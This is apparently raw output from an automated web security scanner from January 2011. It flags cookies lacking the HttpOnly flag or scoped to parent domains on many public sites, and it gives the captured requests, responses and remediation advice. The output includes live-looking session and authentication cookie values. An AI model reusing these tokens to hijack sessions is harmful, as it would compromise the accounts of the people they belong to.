HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:11:55 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:11:55 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:11:54 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:11:54 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:11:55 GMT; path=/; domain=.flickr.com X-Served-By: www65.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 88059
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /download.php HTTP/1.1 Host: www.forumas.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /finance?hl=en&tab=we HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /setprefs?sig=0_wmOEOqCEugI_DX4CRMM9-gOiSPQ=&suggon=2&prev=http://www.google.com/ HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.com/">here</A> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /url?sa=p&pref=ig&pval=3&q=http://www.google.com/ig%3Fhl%3Den%26source%3Diglk&usg=AFQjCNFA18XPfgb7dKnXfKz7x7g1GDH1tg HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.com/ig?hl=en&a ...[SNIP]...
_thepoint=e54b532010193ffb80929de47a093240; domain=.groupon.com; path=/; expires=Wed, 26 Jan 2011 04:41:06 GMT; HttpOnly
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /washington-dc/subscribe?utm_source=Google&utm_medium=cpc&utm_campaign=Explorer&d=District_of_Columbia_-_Washington&p=joomlacode.org&a=Text/ HTTP/1.1 Host: www.groupon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/2011/jan/24/amazon-lovefilm-deal-films/x22 HTTP/1.1 Host: www.guardian.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:45:10 GMT Server: Apache Set-Cookie: GU_MU=VFQyc2xncjZER1lBQUJLMGhWRUFBQURPfDRITzhrOE5rMFFuWjR0VzZTc2w4T3c9PQ==; path=/; domain=.guardian.co.uk; expires=Thu, 21-Jan-2021 16:45:10 GMT Set-Cookie: GU_LOCATION=dXNhOjU6Zmw6NDpob2xseXdvb2Q6NDo1Mjg6YnJvYWRiYW5kOiAyNi4wNDg6LTgwLjEyNUAxNjUyMzAyMjA5OTIyMDEyMjc5MjUzMjQyMTgxNDM4NTIzOTEyMDU4NDU=; path=/; domain=.guardian.co.uk; expires=Mon, 14-Feb-2011 16:45:10 GMT Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent X-GU-httpd: 07 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/2011/jan/24/amazon-lovefilm-deal-films/x26amp HTTP/1.1 Host: www.guardian.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:45:09 GMT Server: Apache Set-Cookie: GU_MU=VFQyc2xRcjdERGtBQUJLenJTa0FBQUFhfElYV0o2UkFvL21wbDQ3R2hEWDJ0R2c9PQ==; path=/; domain=.guardian.co.uk; expires=Thu, 21-Jan-2021 16:45:09 GMT Set-Cookie: GU_LOCATION=dXNhOjU6Zmw6NDpob2xseXdvb2Q6NDo1Mjg6YnJvYWRiYW5kOiAyNi4wNDg6LTgwLjEyNUAxNjEyOTYyMTg1OTMxNDExNDAzMjk3MTEyMDIxMDkyNzIzOTg3NTQ=; path=/; domain=.guardian.co.uk; expires=Mon, 14-Feb-2011 16:45:09 GMT Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent X-GU-httpd: 58 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/2011/jan/24/amazon-lovefilm-deal-films/x26source/x3duniv/x26sa/x3dX/x26ei/x3dh5I9TauLMMK88gazprSzCg/x26sqi/x3d2/x26ved/x3d0CHcQtgowCg/x22/x3eShared HTTP/1.1 Host: www.guardian.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:45:12 GMT Server: Apache Set-Cookie: GU_MU=VFQyc21BcjdERGtBQUJLenJaZ0FBQUF2fGoxRDF3NkVwdXoyRzRZSm85RTN1Q1E9PQ==; path=/; domain=.guardian.co.uk; expires=Thu, 21-Jan-2021 16:45:12 GMT Set-Cookie: GU_LOCATION=dXNhOjU6Zmw6NDpob2xseXdvb2Q6NDo1Mjg6YnJvYWRiYW5kOiAyNi4wNDg6LTgwLjEyNUAxNjUyMzAyMjA5OTIyMDEyMjc5MjUzMjQyMTgxNDM4NTIzOTEyMDU4NDU=; path=/; domain=.guardian.co.uk; expires=Mon, 14-Feb-2011 16:45:12 GMT Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent X-GU-httpd: 58 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /n/Nonude-Young-and-Beauty-Pretty-Girl-teen-NN-usenet-binaries/x22 HTTP/1.1 Host: www.heroturko.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><head> <title>Nonude Young and Beauty Pretty Girl teen NN usenet binariesx22 H ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.homes.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Homes.com - Ho ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.jobalot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:03:33 GMT Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.9 mod_python/3.2.8 Python/2.4.3 X-Powered-By: PHP/5.2.9 Set-Cookie: CAKEPHP=aa3f49188b2ff5e884e64b9583b43ed3; expires=Fri, 25-Jan-2036 06:03:33 GMT; path=/; domain=.jobalot.com P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Length: 7082 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Jobs and Employment ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /company/805465 HTTP/1.1 Host: www.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID="ajax:4114291373918205941"; Version=1; Path=/ P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE" Set-Cookie: leo_auth_token="GST:UoW4AS-tuKNn5DcHUPtJAkw5UTo1RwdYXEpCAnyOqUgnfH_r88e9Gn:1295930580:095f9f787f0c0472ca72a7237529789a55194807"; Version=1; Max-Age=1799; Expires=Tue, 25-Jan-2011 05:12:59 GMT; Path=/ Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: visit=G; Expires=Sun, 12-Feb-2079 07:57:07 GMT; Path=/ Set-Cookie: bcookie="v=1&6c07c4c1-6690-4d02-b09e-6b0aecb2966c"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Sun, 12-Feb-2079 07:57:07 GMT; Path=/ Set-Cookie: lang="v=2&lang=en"; Version=1; Domain=linkedin.com; Path=/ Location: http://www.linkedin.com/companies/kirshenbaum-bond-senecal-%2B-partners Content-Language: en-US Content-Length: 0 Date: Tue, 25 Jan 2011 04:43:00 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /update.bml HTTP/1.1 Host: www.livejournal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 04:43:03 GMT Server: Apache/2.2.3 (CentOS) X-AWS-Id: ws33 Set-Cookie: ljuniq=qSLA0OACBpHpEQx:1295930583:pgstats0:m0; expires=Saturday, 26-Mar-2011 04:43:03 GMT; domain=.livejournal.com; path=/ X-XSS-Protection: 0 Cache-Control: private, proxy-revalidate ETag: "0d1717ff7e20cf2aa2b1705c6fb92344" Content-length: 48142 Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /_wine/save HTTP/1.1 Host: www.newsvine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 05:02:55 GMT Server: Apache/2.2.9 (Debian) Vary: negotiate,Accept-Encoding TCN: choice P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: vid=78a8cf29905fb686db7d439484f26124; expires=Mon, 20-Jan-2031 05:02:55 GMT; path=/; domain=.newsvine.com Location: https://www.newsvine.com/_nv/accounts/login?popoff&redirect=http%3A%2F%2Fwww.newsvine.com%2F_wine%2Fsave Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 15929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /promo.do HTTP/1.1 Host: www.officedepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: IBM_HTTP_Server Pragma: No-cache Cache-Control: no-cache,no-store,max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="ALL DEVa TAIa OUR BUS UNI NAV STA PRE" policyref="http://www.officedepot.com/w3c/p3p.xml" Content-Type: text/html; charset=UTF-8 Content-Language: en-US Date: Tue, 25 Jan 2011 05:04:07 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: JSESSIONID=00005yEwWrYJ3VxcYFAH_1ES2aP:13ddq0sic; Path=/ Set-Cookie: jsession_unique_id=1295931847463; Expires=Tue, 25 Jan 2011 06:34:07 GMT; Path=/ Set-Cookie: CU_BRAND=OD; Expires=Fri, 20 Jan 2012 05:04:07 GMT; Path=/ Set-Cookie: IBSD_LOCALE=en_US; Expires=Fri, 20 Jan 2012 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: CID_CART_COOKIE=5yEwWrYJ3VxcYFAH_1ES2aP; Expires=Thu, 24 Feb 2011 05:04:07 GMT; Path=/ Set-Cookie: cae_browser=desktop; path=/; domain=.officedepot.com Content-Length: 73834
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /cgi-bin/webscr HTTP/1.1 Host: www.paypal.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.tuenti.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.tuenti.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
veohCookie="VisitorUID=3C63CE89-84A4-E8E9-AE48-C8056B139C28&LastUpdate=24/Jan/2011:20:39:36 -0800&first=0"; domain=.veoh.com; Expires=Sat, 24 Jan 2015 04:39:36 GMT; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /videodetails2.swf HTTP/1.1 Host: www.veoh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Vary: Accept-Encoding Set-Cookie: veohCookie="VisitorUID=3C63CE89-84A4-E8E9-AE48-C8056B139C28&LastUpdate=24/Jan/2011:20:39:36 -0800&first=0"; domain=.veoh.com; Expires=Sat, 24 Jan 2015 04:39:36 GMT; Path=/ Content-Length: 262 Date: Tue, 25 Jan 2011 04:39:36 GMT Connection: close Location: http://www.veoh.com/static/swf/webplayer/WebPlayer.swf Server: Apache/2.2.10 (Unix) PHP/5.2.6 Content-Type: text/html; charset=iso-8859-1 Keep-Alive: timeout=5, max=98
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.veoh.com/sta ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /learn/articles-resources/community-support/recycling.jsp HTTP/1.1 Host: www.wireless.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV" X-ATG-Version: version=QVRHUGxhdGZvcm0vOS4xcDMgWyBEUFNMaWNlbnNlLzAgIF0= X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Expires: Tue, 25 Jan 2011 04:40:25 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 25 Jan 2011 04:40:25 GMT Content-Length: 32021 Connection: close Set-Cookie: TLTHID=3A374D86283D102802CDB8903992A194; Path=/; Domain=.att.com Set-Cookie: TLTSID=3A374D86283D102802CDB8903992A194; Path=/; Domain=.att.com Set-Cookie: TLTUID=3A374D86283D102802CDB8903992A194; Path=/; Domain=.att.com; Expires=Tue, 25-01-2021 04:40:25 GMT Set-Cookie: B2CSESSIONID=m83KN2JZpgQXGw!356831932; path=/; HttpOnly Set-Cookie: DYN_USER_ID=3531123409; path=/ Set-Cookie: DYN_USER_CONFIRM=2afae30a32d18177a2afef4e6b409767; path=/ Set-Cookie: ECOM_GTM=NA_osaln; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: cust_type=new; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: browserid=A001361839192; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: svariants=NA; domain=.att.com; expires=Wednesday, 25-Jan-2012 04:40:25 GMT; path=/ Set-Cookie: BIGipServerpWL_7010_7011=1776406919.25115.0000; path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?hl=en&tab=w1 HTTP/1.1 Host: www.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=3d11d5cb2b3e40e368f83f82e88170a4dAEAAAAx; GEO=5b80f4299f7903fea6e2637fc3585e04cwsAAAAzVVOtwdbzTTzh/A==;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:43 GMT Server: Apache X-Content-Type-Options: nosniff Set-Cookie: PREF=f1=50000000; path=/; domain=.youtube.com; expires=Thu, 21-Jan-2021 16:01:43 GMT Set-Cookie: GEO=930f412dd946c393c719c45b1db7c824cwsAAAAzVVOtwdbzTT2iZw==; path=/; domain=.youtube.com Expires: Tue, 27 Apr 1971 19:44:06 EST Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /results?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=w1 HTTP/1.1 Host: www.youtube.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE; use_hitbox=3d11d5cb2b3e40e368f83f82e88170a4dAEAAAAx; GEO=5b80f4299f7903fea6e2637fc3585e04cwsAAAAzVVOtwdbzTTzh/A==;
Response
HTTP/1.1 303 See Other Date: Mon, 24 Jan 2011 16:01:47 GMT Server: wiseguy/0.6.7 Content-Length: 0 X-Content-Type-Options: nosniff Set-Cookie: PREF=f1=50000000; path=/; domain=.youtube.com; expires=Thu, 21-Jan-2021 16:01:47 GMT Expires: Tue, 27 Apr 1971 19:44:06 EST Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Location: http://www.youtube.com/das_captcha?next=http%3A//www.youtube.com/results%3Fhl%3Den%26q%3Dges%26um%3D1%26ie%3DUTF-8%26sa%3DN%26tab%3Dw1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /subscribe_widget?p=joomla HTTP/1.1 Host: www.youtube.com Proxy-Connection: keep-alive Referer: http://community.joomla.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Subscribe to joomla</title> <link rel="stylesheet" href="http://s.ytimg.c ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /netlingo?rf=238222574511555904 HTTP/1.1 Host: www.zazzle.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www1.whdh.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>WHDH 7NEWS NBC Boston/Regional News, Weather, Traffic, Sports, Entertainment Coverage ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mobile/phoneforecast/settings.php HTTP/1.1 Host: www3.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ads3/a HTTP/1.1 Host: xads.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:11:14 GMT Server: ZEDO 3G Set-Cookie: FFgeo=5386156; path=/; EXPIRES=Wed, 25-Jan-12 00:11:14 GMT; DOMAIN=.zedo.com Set-Cookie: ZEDOIDA=jgHX0goAACQAAH@dLJYAAAKY~012511; path=/; expires=Fri, 22-Jan-21 00:11:14 GMT; domain=.zedo.com Expires: -1 Pragma: no-cache Cache-Control: no-cache P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Vary: Accept-Encoding Content-Length: 266 Connection: close Content-Type: text/html
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: xfactor.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: yoga.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: youtube.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
